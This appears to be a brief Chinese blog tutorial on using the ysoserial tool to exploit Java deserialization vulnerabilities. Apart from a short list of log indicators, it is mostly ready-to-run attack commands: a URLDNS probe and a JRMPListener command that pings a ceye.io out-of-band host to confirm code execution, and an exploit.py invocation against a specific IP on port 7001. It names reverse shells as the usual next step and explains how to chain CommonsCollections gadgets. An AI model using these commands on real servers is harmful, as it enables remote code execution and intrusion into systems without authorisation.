Ysoserial 简单利用
- 1. Java 反序列化特征
- 2. Ysoserial 流量特征
- 3. Ysoserial 攻击流程
- 3.1 找到序列化接口
- 3.2 漏洞利用
- 3.2.1 常用命令
- 3.2.2 使用案例
- 4. Ysoserial 攻击原理
- 问题
- 参考
1. Java 反序列化特征
在日志中,特征通常表现为
- 请求格式 Json、xml、soap、二进制
- 关键字:rmi、jndi、
- 响应对应命令执行结果信息
2. Ysoserial 流量特征
3. Ysoserial 攻击流程
项目地址:https://github.com/frohoff/ysoserial
3.1 找到序列化接口
工具逐个探测
-
例如 shiro,如果有漏洞,则会返回
rememberMe=deleteMe
-
URLDNS
这个 gadget 一般用于渗透时Java 反序列化漏洞的探测
3.2 漏洞利用
一般会进行反弹 shell 等利用
3.2.1 常用命令
使用 ysoserial,在命令行中输入指定 command
,就会自动执行命令,发起攻击
在使用命令的时候,要先 明确使用哪一个payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar [payload] '[command]'
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://xx.xxxxx.ceye.io
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2 rce.267hqw.ceye.io'
3.2.2 使用案例
在公网 vps 监听端口号
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 【port】 CommonsCollections1 '【commands】'
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2 rce.267hqw.ceye.io'
在 vps 监听 JRMPListener 的 1099 端口,执行 ping 命令,验证是否执行成功
commands 表示要执行的命令
重启一个 shell 端口
python exploit.py 【目标ip】 【目标端口】 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 【JRMPListener ip】 【JRMPListener port】 JRMPClient
python exploit.py 118.89.53.139 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 118.89.53.139 1099 JRMPClient
4. Ysoserial 攻击原理
ysoserial 中的 exploit/JRMPClient 是作为攻击方的代码,一般会结合 payloads/JRMPLIstener 使用,攻击流程就是:
先往存在漏洞的服务器发送 payloads/JRMPLIstener,使服务器反序列化该payload后,会开启一个 RMI服务并监听在设置的端口
然后攻击方在自己的服务器使用 exploit/JRMPClient 与存在漏洞的服务器进行通信,并且发送一个可命令执行的payload(假如存在漏洞的服务器中有使用org.apache.commons.collections 包,则可以发送CommonsCollections系列的payload ),从而达到命令执行的结果。
问题
-
在攻击的时候,怎么选择 CommonsCollection
要进行逐一测试,看那条攻击链可行
参考
https://blog.csdn.net/qq_36119192/article/details/107445392?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166875295216800215084475%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=166875295216800215084475&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_ecpm_v1~rank_v31_ecpm-1-107445392-null-null.nonecase&utm_term=ysoserial&spm=1018.2226.3001.4450